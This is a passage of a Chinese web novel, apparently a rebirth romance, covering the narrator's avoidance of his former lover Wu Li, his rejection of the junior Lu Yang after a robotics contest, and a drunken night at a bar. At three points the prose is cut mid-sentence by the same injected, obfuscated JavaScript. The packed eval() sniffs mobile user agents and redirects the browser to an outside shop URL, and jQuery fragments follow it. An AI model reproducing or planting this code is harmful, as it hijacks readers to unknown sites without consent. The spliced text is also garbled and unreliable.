江市烟雨喜人,雾朦胧,水潋滟。 小学那场奥数比赛的决赛,就是在这里举办的。 岁月匆匆而逝,昔日举办比赛的少年宫,如今已成了一座公园。 我坐在长椅上,看着四周熟悉而陌生的景色,忽而忆起那年初见。 359 “那个……我的偶像是爱因斯坦!你觉不觉得你很像爱因斯坦?” “哪里像?” “你们都是天才啊!跟我合个照吧,小爱因斯坦。” “我不喜欢拍——” “求求你了,求求你了,就当帮我完成和偶像合照的心愿好不好?吴理,物理,这个名字一听就是物理天才嘛!你一定会成为最棒的物理学家的!像爱因斯坦一样。” “我还没有那么厉害。” “那你答应和我合照啦?” “……嗯。” 银杏叶纷纷扬扬,“咔嚓”一声,相机定格下那场初遇。 360 相逢何必曾相识,奈何那年惊才艳艳,只一眼,便误了我的整个青春。 361 “你还没有对我说过‘我爱你’呢……” 362 “算了,这辈子是听不到了……” 363 银杏叶纷纷扬扬。 我死在江南的秋天里。 死在我们初遇的地方。 364 “吴理,我爱你。” 365 一年,365天。 人类用数字描刻时间,定下锚点。 而后循环往复,时间如同无限符号不停轮转。 于是一年又一年,365天过后又365天。 我站在终点,望着原点。 串起我一生时光的,也不过这一句—— 366 “我爱你……” 367 我听到哽咽的哭声,睁眼看见熟悉的天花板,竟有些恍然。 回忆太过冗长,我竟睡了过去。被我扔在床上的吴理不知道什么时候坐在了床边的椅子上,反倒是我鸠占鹊巢,又躺回了这张熟悉的客卧床上。 我的手被他紧紧握着,他轻轻抚着我的头发,声音嘶哑:“做噩梦了?” ——仿若那一句哽咽的“我爱你”只是一场错觉。 368 他看着我身下的床单,突然道:“白色床单太素,换个颜色吧。” 你的家,问我干嘛? “粉色如何?” 粉色娇嫩,你如今几岁了? “绿色吧,绿色寓意好。” 所以,是因为白色寓意不好才要换吗? 369 “小添,白添……别再丢下我了……” 果然,那句“我爱你”,就是错觉吧。 11. 我也可以 370 晨光熹微,带着些许温度的阳光透过窗户照进来,暖洋洋地烘着手掌。 手心处蔓延开一片痒意,我不自在地动了动手指。 天亮了。 371 就让阳光埋葬昨夜荒唐吧,新的一天,新的一生,前路遥遥,我不会再回头。 372 “我能用一下卫生间吗?” 我搓了一把脸,压下心底翻动的思绪,礼貌询问道。 吴理抿了抿唇,哑声:“当然,这种事你不用问我。这里……也是你的家。” 也许是知道后面这一句话站不住脚,吴理的声音小了几分。 我点头说谢谢,礼节上无懈可击。 373 家? 这里怎么会是我的家? 我笑了一声,摇摇头,充其量,我不过一个借宿的客人罢了。 374 我去卫生间简单洗漱了一下,虽然我也不想久留,但现在的时间等不及我再回寝室洗漱。 是的,今早我还有早八。 可恶的吴理。 375 “你的电话。” 隔着一层磨砂玻璃,我听到吴理模糊的声音,还有手机振动铃声。 我擦了擦手,拉开门。吴理捧着我的手机,抬眸,小心翼翼地看了我一眼。 屏幕上跳跃着两个大字:路阳。 我挑了挑眉,不知道大早上我这学弟找我有什么事。难不成是社团那边出了问题? 我伸手去拿手机,没想到吴理往后退了退。 他皱着眉头,试探地问:“我帮你接?你继续洗吧。” “不用。”我从他手中夺过手机,按下接通键。 一道活泼有力的声音从听筒中传出来—— “哥,我们的作品通过初赛啦!你今晚有空吗,大家说一起庆祝一下!” “好啊,恭喜你们。” 我发自内心地感到开心,金银杯的含金量十分高,初赛已是一道不可逾越的门槛。 我虽然是后勤部的,但看到他们取得了这样的成果,也由衷为他们高兴。 “不是‘你们’,是‘我们’!小添哥,谢谢你。” 路阳十分郑重地跟我道谢,我哑然,笑了笑,连忙说不用那么隆重。 我这位学弟就是太懂事,也许是大一新生的缘故,为人处世都透露着一股固执的认真气。 挂断电话后,我脸上的笑还没有消失。 金银杯啊,那可是金银杯。 我一抬头,看见了客厅展示柜里金闪闪的一座奖杯。 376 …… 差点忘了,别人梦寐以求的冠军,在吴理这里是批发市场小商品的存在。 不过我记得他以前都是把奖杯放书房的,那些金灿灿的冠冕被束之高阁,我都替他觉得可惜。 也不知道他什么时候想通的,终于愿意将这些奖杯摆出来见人了。 377 我跟吴理打了个招呼便准备离开,我打电话的时候他就站在门外,跟尊雕像一样伫立在那里,也不知道在想什么。 见我动了,他才回过神,嘴唇嗫嚅了一下,道:“等等。” 他跑进厨房,装了一盒热牛奶和一个三明治给我。 “先吃早饭吧。” 我正欲拒绝,手里却被热乎乎的早餐塞满。 他垂下眼眸,声音很轻:“其他的之后再说,但早饭不能不吃,对……胃不好。” 说到那个折磨了我无数次的器官时,吴理停顿了一下。 我沉默片刻,终是没有拒绝。 378 重活一世,何必与健康置气。 这一点,我们倒达成了共识。 379 “嗯,我走了。” 分别时,我也不知道该说些什么。词汇量干巴巴的,平常充盈的词库此时也干竭成了枯裂的河床。 反正,不会再见了吧。 380 我走得决绝,身后仿若有一道视线,炯炯似火。 381 左不过大梦一场。 382 我踩点赶上了早八。 昨晚没睡好,一进教室我就趴下补觉。睡梦中昏昏沉沉,仿佛又回到了高中打瞌睡的时候。 阳光刺眼,一道模糊的影子突然凑过来遮住大半阳光,我眯了眯眼,大脑迟钝地思考,却始终无法认出那张脸。 于是我放弃思索,自顾自沉睡过去,只是恍惚中,鼻翼下传来痒意,似是有人在探我的鼻息。 就好像……在确认我是否活着。 383 “白添!” “到!” 我一个激灵站起,高中老班的身影与大学课堂的背景渐渐重合,我揉了揉眼,在同桌的提示下回答出老师的问题。 这一下,睡意彻底没了。 我靠在椅子上,莫名回想起那个短暂的梦境。 那么虚幻,却又那么真实。 384 死过一次的人,就这点不好。 一个脑袋里,装了两辈子的回忆。 385 一天的课很快就被熬过去,我按照群里的地点,与机器人社的小伙伴们汇合。 离定下的火锅店还有一段距离,我远远便看见一个高挑的身影。 霓虹灯光细碎闪耀,如同舞台的演出灯阵。 而在光影之中,那人如鹤独立。 386 “哥——” 那人转身,万千灯影碎在他的眼中,而我清晰地看见,我的身影倒映在那双眸子里。 眉眼一弯,我的倒影也跟随着晃荡起来。 路阳朝我跑过来,气喘吁吁:“我带你进去!” “等很久了吗?”我有些抱歉,最后一节课的教室太偏,赶到这里用了我太多时间。 “没有,大家都才刚到。” 路阳笑着和我并肩,也不知这孩子一天在乐呵啥,笑点调那么低。 387 沸腾的火锅升起热气,模糊了人与人的距离。 我和路阳到得最晚,因此只能坐在最外侧的座位上。 那群不省心的嚷嚷着要罚我们喝酒,我知道不喝几杯糊弄不过去,于是决定喝一点意思意思。 没想到路阳直接抢过我的杯子,一干为敬。 那架势不像是在喝罚酒,而是马上要去景阳冈打虎的武松在助兴。 桌上的人都被唬得目瞪口呆,一个个鼓起掌来。 “是个好汉!”不知道哪位串到了梁山一百单八将的台,硬生生将整桌氛围拐向了带不回的深渊。 于是吵的吵,闹的闹,嚷得我脑瓜子疼。 但我却发现,我并不讨厌这份热闹。 388 原来将视线从吴理身上移开后,是这么广阔的天地。 389 “下周就是决赛了,到时候去京城大学……嘶,想想就害怕。” “你怕什么?我们和他们,也就一站路的距离!” “我说的是这回事吗?听说这次京城大学带队的是他们上届冠军,听说那队长是个天才少年,就是不知道为什么拒绝了少年班的邀请……” “……” 怎么这里也逃不开吴理。 390 我揉了揉太阳穴,准备出去吹吹风。侧脸一瞥,便看见路阳安安静静地趴在桌子上。 不对劲,这小子今天怎么这么安静? 我推了推他的肩膀,路阳呆呆地抬起头,看我看了半天,仿佛在努力辨认我是谁。 “哥……” 不会是喝醉了吧?他也就喝了那一杯啊。 我伸出两根手指在他面前晃了晃:“这是几?” 路阳思考了半天,突然伸出手,也比了两根手指,扬唇笑道:“耶!” “……” 391 以后聚会铁定不能让这孩子再沾酒了。 “路阳醉了,我先送他回去。” 我跟其他人知会了一声,社长挥了挥手,表示知道了:“拜托你啦,我们最可靠的后勤部小添子~” “滚!别把我叫得跟大内总管一样。” 我弯下身去扶路阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124731|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却蓦然闯进了一个镜头里。 路阳不知道什么时候掏出手机,将我和他框在镜头内。 “你在干嘛?”我无奈。 “比耶……不是想拍照吗?”路阳乖乖答。 我知道和醉鬼讲不了道理,只能配合他拍下这一张糊里糊涂的照片。 照片里我俩傻乎乎地比耶,我扶着他的肩膀免得他倒下,他便顺势靠在我手臂上,笑得眼睛眯成了一条缝。 392 “哥,你还没说茄子……” “哥,角度不对……” “哥……” 醉鬼真是麻烦。 393 在不知道占用了他多少手机内存后,我终于能扶着他踏上回程的路。 路上,路阳反倒十分安分,静静的也不说话,要不是他那凌乱的步伐,谁也看不出他醉了酒。 “哥,我想把这张照片发朋友圈。” 路阳举起手机,将照片怼在我眼前。 平心而论,这张照片拍得确实挺好。 橙黄的灯光与氤氲的雾气,笑着的人与醉红的脸。 原来我在照片中的样子是这副模样。 吴理不喜欢拍照,于是我也不爱拍了。 我已经很久没有过属于自己的照片。 想到这里,我心念一动,“嗯”了一声,“你发吧。” 394 朋友圈加载出来,路阳配了一个[火锅]的emoji符号,加上两个字:幸福~ 我将那张照片保存下来,看着空荡荡的相册,我决定从今天开始,多记录一点自己。 395 路阳抱着手机不撒手,连路也不好好走。 我把他的手机夺过来,免得他分心。 手机还停在朋友圈的界面,我扫了一眼,愣住。 一个熟悉的头像出现在路阳的点赞列表里。 396 我心跳漏了一拍。 397 简洁的无限符号,不会错,这是吴理。 398 顾不上其他,我摇了摇路阳的肩膀,指着那个头像问他:“这人是谁?你怎么会有他的好友?” 路阳盯着看了片刻,终于反应过来:“是小添哥的前男友!” 我崩溃无语:“你加他干嘛?” 399 路阳缓缓眨了眨眼,开始胡言乱语:“知己知彼,方能百战百胜。面对敌人,需要主动出击……” 看来这孩子真的把金银杯看得很重要,竟然这么早就开始打探对手了。 我在心中吐槽,不禁感慨,要是换在当年,我能把被吴理点赞的朋友圈供起来。 太阳打西边出来了?那个吴理竟然会看朋友圈? 400 好不容易走到学校大门口,路阳已经没了力气。他像树懒一样扒在我身上,将头埋进我的脖颈。 按理来说,我是可以背他的。 可惜身高不允许。 一个个都长那么高,太过分了! 401 “你喝酒了吗?” 402 我发现吴理真的有当鬼的潜质。 他站在我们校门口,突然出现,吓了我一大跳。 不是说好再也不见吗? 我满头问号。 403 吴理瞟了一眼我身后的路阳,递来一个饭盒。 “什么东西?”我纳闷。 “解酒汤,给你的。”他特意强调了一下。 “哦,谢谢,不用。”我默默拒绝,我今晚确实没喝酒,用不上这份好意。 404 “哥……我的玫瑰不见了……” 路阳的思维又不知道发散去了哪里。 我头疼地安抚道:“在呢,在呢,我先送你回寝室,你明天一早起来就能看见了。” 反正明天他就醒酒了,我毫无心理负担地胡诌。 吴理沉默了很久,突然抬头,十分认真地问:“你喜欢别人叫你哥吗?” 他看着路阳,目光沉沉。 “你喜欢的话,我也可以叫。” 12. 早点死心 405 ??? 他在发哪门子疯? 虽然我确实比他大了将近半年,这句“哥”也不是不合理…… ——停停停,我怎么还真幻想上了。 “我先走了。” 背上还有一个醉鬼,我自然不可能在这种情形下和吴理互诉衷肠。 更别说我俩现在只剩相顾无言。 406 吴理往前走了一步,似乎想要说些什么。 但在看到路阳的脸时,他沉默地退了回去。 一步之遥,如隔天堑。 407 “别来找我了。” 我抿了抿唇,扔下最后一句忠告,将他抛在身后。 408 我将路阳送回了寝室,他寝室就在我楼下,因此并不算太麻烦。 分别时,站都站不稳的人紧紧抓着门把手,一脸认真地看着我:“小添哥,明天见。” 我叹了一口气,揉揉他的头,没有回答。 409 我怎么会看不出他的心思。 410 和当年的我一样,我这小学弟,把喜欢写在脸上,眼睛里都冒着金闪闪的光。 谁能料到重活一世,我竟然还能走桃花运呢? 只可惜,我不可能回应他的感情。 爱情的苦,我可不想再尝第二次。 411 我回到寝室,洗了个热水澡出来,疲惫地躺在床上。 我点开机器人社社长的头像,敲了敲他:“老李,这是我的退部申请。” 对面秒回三个问号。 “???” “你疯了?” 我揉了揉太阳穴,无奈打字:“没疯,认真的,你放心,我肯定给你留点缓冲时间。” 对面甩了个省略号过来。 我:“同不同意,一句话。” 老李:“我说不同意你就能留下了?” 我:“当然不可能。” 老李:“……” 老李:“你至少等金银杯结束再走。” 我:“我本来也是这么打算的。” 老李:“容我八卦一句,不会是因为小路……” 我:“是也不是,别多想了,我是真的忙。” 老李:“我的小添子,没了你我可怎么活啊——” 见他开始插科打诨,我随意回了几个表情包糊弄过去,知道这件事算是结束了。 辩论社那边我本来也准备退了,和路阳有交集的地方,也就这两个。 我将头埋在被子里,像只鹌鹑。 412 吴理从前就说过我遇事总爱逃避,我再一次可耻地逃开了。 我想不到更好的办法,只能采取这样迂回的方式提醒路阳。 所以今晚他向我索求合照的时候,我答应了。 至少,留个念想——别像我上辈子一样。 413 我又随意临幸了几个APP,手凌乱地翻着,眼睛也不知道在看什么,大脑胡乱提取着杂乱信息,最后筛出一片空白。 朋友圈转了转,又刷新出一条。 “啪叽!” 屏幕狠狠撞上我的鼻子,我深深嘶了一口气。 414 吴理发朋友圈了! 有生之年系列! 比看到吴理的头像出现在朋友圈更震惊的是——他发的是我们的合照。 是的,就是那张大一开学,由我母亲亲自摄影,我俩站在湖边的那张合照。 他还给图片配了个老土的[爱心]emoji,明晃晃的,生怕别人看不出来。 早知道就不把他从黑名单放出来了,要不是他说要把外卖钱转给我人账两清,我才不会在列表给他留一席之地。 415 我无奈。 路阳和吴理的朋友圈就在前后脚,我看着那两张都有我的照片,一时竟无力吐槽。 很快,我看到那两条朋友圈下方出现了同样的头像。 有共友给他俩都点了赞。 我看了一眼那个头像,两眼一黑。 严语英,我的前情敌。 你来凑什么热闹! 不对,路阳你小子什么时候和他扯上关系了? 416 英语:小路又喝醉了啊[捂嘴笑],我可要跟阿姨告状了。 英语:理哥,这张照片里面你是真帅[大拇指] 我:毁灭吧,这个世界。 417 我已经没有心情去梳理这复杂的人物关系,把手机丢到一旁,拉起被子蒙头就睡。 然而手机还是不肯放过我,接连“嗡嗡”响了好几声。 吴理:“睡了吗?” 吴理:“你回寝室了吗?” 吴理:“早点休息。” 吴理:“你看到我的朋友圈了吗?” 吴理:“[对手指][对手指]” 不管你是谁!都立刻从他身上下来! 418 我自暴自弃地回道:“没看见,屏蔽了。” 过了几秒,吴理竟然把朋友圈截图甩了过来,下面严语英的评论十分刺眼。 呵,就夸一个人帅,谁不知道他什么意思? 我随手回复:“哦,确实帅[微笑]” 我极尽阴阳怪气之力。 吴理没听出来,一板一眼地打了个“谢谢”发过来。 我冷笑一声,把他拉黑了。 419 我都能想象到他看着红色的感叹号皱眉的模样,除了我,他可能再也没被别人拉黑过。 不过没关系,他应该有经验了。 毕竟上辈子一直到我死,他也没从我的黑名单里放出来。 其实我还挺记仇的。 420 那之后又过去了一周,我刻意躲着路阳,又不与吴理接触,日子清净了许多。 直到金银杯那一天,我不得不和路阳碰面。 421 “哥,你最近是在躲着我吗?” 路阳顶着一双湿漉漉的小鹿眼,仿佛一只被弃养的小狗。我被那双眼睛看得理亏,只能叹了口气,无奈道:“不是躲,先比赛。” 大巴车摇摇晃晃,仅仅一站路的距离,社长为了撑面子,也非要我去租一辆大巴,并在车身上拉开显眼的横幅。 我吐槽他说不定坐地铁都比堵车快,却没想到一语成谶。 大巴车堵在车流里难以前行,后排的座位上只有我和路阳俩人。 红灯闪烁,路阳抱着他的小机器人,机器人手中的玫瑰花已经有些枯萎。 422 小机器人耷拉着头,和它主人一样。 423 “哥,如果我们拿了冠军,你能再送我一朵花吗?” 路阳戳了戳小机器人手中的花瓣,兀自说道:“我第一次接触到机器人,是在小学,少年宫。” 路阳的话将我拉回了跨越两辈子的童年。 少年宫内孩子们欢声笑语,彼时我报了无数兴趣班,人脉遍布整个少年宫,不夸张地说,我就是少年宫的社交达人。 “当时老师带着我们动手尝试,别的小朋友很快就做出来了,我手笨,按照步骤操作了半天,也没办法把那些零件组装在一起。”路阳低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124732|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笑了笑,“就在我哭着想要放弃的时候,一个比我大一点的孩子走过来,他看着我桌上的半成品,问我:‘这是你自己的创意吗?和别人都不一样诶,好酷!’” “小小的我就那样呆呆地望着他,我那双手被他描绘成了能点石成金的妙手,进入少年宫以来,我还是第一次收到这样的夸赞。” ——“可是……可是这样组装,很多功能都没办法达到……” ——“那就不要那些功能了呗,也不是所有的机器人都必须成为有用的机器人。对了,你知道小王子吗?玫瑰花对别人是没用的,但对小王子来说,就是最最最珍贵的东西!” “我到现在还记得那一天,小添哥,你可能想象不到吧,我小时候是个挺内向的人,见过我的长辈们都说我将来难成大器,说我没用——可是那个人告诉我,不是所有人都必须成为有用的人。”路阳下意识地将小机器人抱紧了,“于是我开始模仿他的笑容,模仿他与别人交流,我想在与他重逢时,问他——” “如果我长成了一个没有用的小机器人,你还愿意为我种下一朵玫瑰吗?” 路阳的眼睛眨了眨,湿润的水汽黏在他的睫毛上。 424 一个小小的身影浮现在我的脑海中,是了,在少年宫时,我似乎确实对一个小孩这样说过。 红灯忽而转绿,鸣笛声此消彼长,堵住呼之欲出的那个答案。 我闭了闭眼,大巴停下,我们到了。 425 路阳可惜地看了一眼京城大学的门,他伸出手,小机器人被送到了我面前。 “哥,等比赛结束,告诉我这个问题的答案,好不好?” 426 我怔愣地抱住小机器人,看着我们学校的队伍走进举办比赛的礼堂。 我突然意识到自己确实有些过分——用逃避回绝一颗真心,实在太不真诚。 这和我经常唾弃的行为,又有什么区别? 427 我决定等比赛结束,和他好好谈一谈。 428 礼堂门口立着一个高挑的人影,别人是来比赛,他像是来走T台。一身大衣在北风中孑然潇洒,丝毫不顾这将近零下的天气。 也不知道要开屏给谁看。 他的视线一直在人群中扫视,看到我时,那双眼睛亮了亮。 429 “小添。” 吴理跑到我面前,低头瞥了一眼我手里的小机器人。 他蹙了蹙眉:“入门级别的水准,用这种水平参赛,很难拿到名次。” 我知道他说得很客观,这个小机器人也确实是路阳少年宫时的作品。 小机器人蔫蔫的,似乎也因为这句批评而感到羞愧。 430 “我喜欢就行了。” 我内心乱糟糟的,不知道为什么自己会出言维护。 是因为见不得一颗真心被这样随意点评,还是共情了挨骂的小机器人? 431 吴理抿了抿唇:“你喜欢的话,我也可以……” 432 “不用了。”我知道他想说什么,“你从前不是说过吗,不许我随意动你的作品。我有它,就够了。” 吴理沉默了好一会儿,声线绷紧发问:“他——是说你的那个学弟?” ? 他的思路又跳到哪去了?我明明说的是小机器人。 不过,我也无意解释这个误会。误会就误会吧,最好早点死心,别再像这样凑上来干扰我的心绪。 吴理见我不答话,缓缓眨了眨眼,轻声问:“我会赢过他的,赢了他,你能不能把我从黑名单放出来?” 13. 我也爱你 433 比赛开始了。 各种花里胡哨的参赛作品从我眼前闪过,PPT上的专有名词我一个也看不懂。 但即使是我这样的外行,也能知晓那些作品的含金量。 在这里齐聚的基本都是本方向的精英,毫不夸张地说,在某种程度上,这场比赛代表了未来行业发展的风向。 看得令人不禁感慨——世界有你们,我就放心躺了。 434 我们学校的队伍签运还算好,第三个出场。这个排位既不会像第一位一样被人压分,又不至于太靠后让评委疲倦。 吴理的队伍就在我们之后一个,都不用我刻意关注,他们这支强劲队伍早已成了全场参赛人员的重点目标。 “看来这次又和以前一样,京大本校队伍拿第一,我们争万年老二啰。” 身后传来不大的交谈声,我坐在观众席上指定的队伍备赛区,不由在心中暗暗吐槽——能不能拿出点志气!把吴理他们队从第一的宝座上扯下来! 但即使这样期望着,我也很清楚,这只是一个幻想。 吴理的成功,没有任何意外和波澜。如同所有定理和公式一样,他拿第一,是天经地义的事。 435 天才果然很讨厌。 436 离我们队上场还有一会儿,我掏出手机,看见外卖软件上显示骑手已送达。 趁着会场暗下来,我偷偷溜出门,找到骑手,从他手中接过我点的花。 是一束玫瑰。 晶莹剔透的玻璃将玫瑰包裹在内,大小应该刚好能卡入小机器人的手心。 我把小机器人拿出来试了试,分毫不差。 看来特意点之前那家店的花是一个正确的决定。 437 世人总给各种各样的花束赋予不同意义——友情、爱情、生命、死亡…… 我也不知道这束花代表什么意义,也许是愧疚,也许是歉意。 在知道当年往事后,这是我唯一能给出的补偿。 438 回到礼堂时,我刚好赶上我们队伍上台。 我找到相机,咔咔拍了起来,履行着我后勤人员的职责。 老李他们几个操作着机器人进行高难度动作,路阳在讲PPT。 这下不愁宣传照了。 439 取景框内,路阳的脸赫然印在中心。 忽然,他的视线看了过来。隔着镜头,我们对视。 我看见他笑了,笑得很轻。 我知道那个笑容的含义,他在等我的答案。 440 我抿了抿唇,放下相机,沉默了。 441 展示时间很快结束,队员们从后台离开,我抱着小机器人,也出了门。 礼堂的后面是一大片金桂树,秋意正浓,香气满园。 我远远看见路阳他们的身影,今天机器人很给力,没有出任何意外。毕竟上台前老李给那位机器人祖宗磕了三个响头,机魂大悦。 老李看见我过来了,咳了两声,带着其他队员离开。 于是金桂林下,只剩我和路阳。 442 “哥。”他朝着我弯了弯眉眼,很轻地叫了一声。 我垂眸不答,将抱着崭新玫瑰花的小机器人递给他。 然后,我很郑重地看着他的眼睛,道:“对不起,我想我还是没办法回应你的感情。玫瑰花换新了,这一页就翻过去吧,如果你愿意,我们还可以做朋友……” 我一句抱歉还未说完,看见路阳的反应,突然顿住。 他的眼眶霎时变得通红,泪水啪嗒啪嗒砸在装着玫瑰花的玻璃瓶上。 443 “小添哥,我喜欢你。” 他如释重负,仿佛憋了很久一样,将所有话倾泻而出。 “从我在少年宫见到你的那天起,到听见你的消息和你报考了同一所大学……我真的真的,很喜欢……” 我知道。 我知道的。 这种爱而不得的苦涩,我知道的。 但转而,路阳便抹干眼泪,重新扬起一个干净灿烂的笑容。 “但只要你幸福的话,都没关系。” 路阳仿佛看透了我这些日子的所有挣扎和迷惘,话锋直指我的内心。 “可是,当再次与你重逢时,我发现你过得并不开心。”路阳眷恋而温柔地将目光落在我身上,很轻地问:“为什么不开心呢?” 444 我扯了扯嘴角,估计笑得比哭还难看。 因为我在路阳的瞳孔中看见了我的倒影,那双眼睛没有半分生气。 我开心吗? 我幸福吗? 我扪心自问。 于是我的心告诉我,我还爱他。 所以,我拒绝了路阳。 一颗心是没办法碎成两半,去爱上不同的人的。 对吴理的爱,早已成了我刻蚀进基因序列里的生命定律。 若要将其消灭干净,需要抽筋剖骨才行。 路阳没有勉强我给出回答,他将小机器人举起来,用手拨弄它的手,两人一起比了个招财猫的手势。 “小添哥,要开心啊。” 445 视线模糊,有水痕蜿蜒过脸颊,我却扑哧笑出了声。 “小添哥,我能抱抱你吗?”路阳凑上来,很认真地解释:“没有别的意思,就是单纯地抱一下。” “为什么?”我问。 路阳表情诚恳:“因为,你看起来很需要一个拥抱。” 446 我轻轻点了点头,下一秒,便落进了一个有些温热的怀抱。 没有言语,没有交谈。 桂花飘扬落下,秋叶盖了满地,芬芳暗然萦绕。 地老天荒。 突然,我感受到一道炽烈的目光。 我抬眸看去,便看见吴理站在不远处的前方,静静地看着我们。 447 隔着这么一段距离,我竟然能清楚看到在他眼中满溢的情绪。 他如同一尊沉默的大理石像,伫立在原地。 一片叶子落下,隔开了我们的视线。 叶片落进金黄的地面,吴理原先站着的地方,已空无一人。 仿佛刚才出现的一切,都是一场幻觉。 448 “怎么了?”路阳见我呆呆地盯着一个地方,疑惑询问。 “没事,先回去吧,结果应该马上出来了。” 我垂下眼眸,最后一次看向吴理刚刚出现的地方。 是幻觉吧。 不然,我怎么会以为,那双眼睛快要哭出来了呢? 449 我从没见吴理哭过。 450 记得有一次,狗蛋不知道怎么看吴理不顺眼,趁我不在家越狱出了房间门,一个飞扑飞到吴理身上,歘一下给了他手背一爪。 我接到消息的时候吴理已经在医院了,来不及回家数落狗蛋,我陪着吴理把疫苗打完。 吴理去的是他熟悉的那家医院,有位医生刚好是他朋友。 那医生看着他手上的抓痕,利落迅速地上完药,开了疫苗单子交给我,而后撩了撩眼皮,哼笑:“你不是对猫毛过敏吗?怎么还养上猫了?我可不记得你还是个爱心人士。” 451 我忙着去缴费,掩住门前,只听到吴理淡淡回了他一句“闭嘴”。 452 原来吴理对猫毛过敏,也不知道他是怎么同意狗蛋进家门的。 回家之后,我就狗蛋的去向和吴理讨论了半天。 “你对猫毛过敏,怎么不早说啊?我要是知道就肯定不把它捡回来了,我先把它寄养到宠物店去,等我问问我同学有没有愿意领养的……” 说是讨论,吴理却一言不发。 我斩钉截铁一锤定音,给狗蛋收拾完行李,提着它的猫包准备去宠物医院。 “小狗蛋啊,到了那边乖乖的,知道吗?” 养了那么久,我终究是舍不得,叹了口气,红了眼眶。 453 “不用送走,留下来吧。” 吴理突然出声。 “嗯?”我疑惑,“许医生不是说你对猫毛过敏吗?” “他在胡说八道。”吴理顿了顿,“不是过敏,就是小时候被猫抓过,有些害怕。” “那你怕猫……” “小时候的事,现在不怕了。” 我还是持怀疑态度,之后我观察了一周,发现吴理没有过敏症状后,这才放心把狗蛋留下。 454 当晚床上,我突然走神,问他为什么改了主意。 吴理看着我的眼睛,很轻地吻了一下我的眼尾,嗓音低沉:“不想你哭。” 我的心跳得很快,环住他的肩,用手抚了抚他的眼睛——他的眼型很优越,每当这时,那双一向波澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124733|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不惊的眼里也染了几分情意,月光碎在里面,晃荡出春水万千。 “说起来,我还没见你哭过呢。”我轻笑打趣。 “没有必要。”他握住我的手腕,扯开我作乱的手指,俯身下来吻住我的唇。 他回答得很抽象,我却意外明白了他的思维——解决问题只需要理性与逻辑,哭,是没有必要的事,只会浪费时间。 我被他吻得出不了声,只能徒劳地抓着他的手臂。 月光摇曳着,不知碎了多少轮。 我突然恶劣地想,总有一天要看到吴理流泪。 455 我没想到这个愿望会有实现的一天。 456 比赛结果出来了,我们队拿了亚军。 路阳兴高采烈地将那枚亚军的戒指捧到我面前。 “哥,这个给你,就当纪念品吧。”路阳想了想,又道:“没有什么特别意义,就当做是我们的约定,希望你幸福,小添哥。” 他将一对戒指都给了我,两只戒指拼成无限符号,完美无缺。 “祝你早日找到另一半无限。” 路阳歪了歪头,朝我眨眼。 457 我难以辜负他的好意,我今天已经拒绝了他太多次,这一次,索性如他的愿。 “谢谢。” 我郑重道谢。 458 舞台上冠军队伍在和评委老师合影,今年的冠军果不其然又是吴理的队伍,严语英站在他旁边,他们的手中捧着金灿灿的奖杯。 主办方财大气粗,奖杯包了层纯金,简直是羡煞全场。 更别说冠军队伍人手一个凤凰金戒。 459 突然,吴理毫无预兆地看向我,他的视线落点在我手中的戒指上,而后缓缓移到了我的脸上。 我顿了顿,将戒指收起来,移开视线。 460 说到底,我还是没有勇气踏出那一步。 461 当晚,老李为了庆祝,招呼我们一群人去酒吧。 我不好拂他的面子,准备坐一坐就走。 也不知道是不是巧合,下午刚回忆起狗蛋的事,晚上在酒吧就碰见个熟人。 许然,上辈子断言吴理猫毛过敏的那位许医生。 按理来说,这辈子我和他应该不认识。但没想到,在看到我时,他竟然走上来,主动和我打招呼。 “哟,这不是吴理那个求而不得的心上人吗?” 上辈子我和他接触不深,这番接触,才发现他性格实在恶劣。 462 他请了我一杯酒,威士忌,原液,浓度63%。 …… 看得出来他很想捉弄我了,我自然不会喝,许医生却像发现了什么好玩的事一样,一直跟我搭话。 “对了,你还不知道吧?吴理已经跟全家宣布,你是他认定的另一半了。” 许医生托着下巴,目光犀利,我避开他的视线,为防尴尬,一股脑将那杯酒灌了下去。 463 我听到身边传来一声低笑。 464 威士忌原液的烈度果然太顶,没一会儿我的脑袋便开始晕晕乎乎。 不知道是谁的手机怼了过来,我听到熟悉的声音在我的耳边响起。 醇厚的嗓音贴着我的耳垂。 “小添,你在哪?” 迷糊中,我忘却了时间,忘却了地点,只知道对面是吴理,是我爱了两辈子的那个人。 465 “吴理……我爱你啊,你怎么就不懂呢……” 一声叹息。 我彻底睡了过去。 466 我做了一个很长的梦,五光十色的灯影下,嘈杂喧嚣的人群中,我看到吴理向我走来。 他把我拉进他的怀中,很紧地抱着我,有冰凉的液体顺着我的脖子流下。 我有些无措,愣在原地,小心翼翼地问:“你是哭了吗?” 他把头埋进我的脖子里,很轻地“嗯”了一声。 对于物理学来说,眼泪是无用的东西。 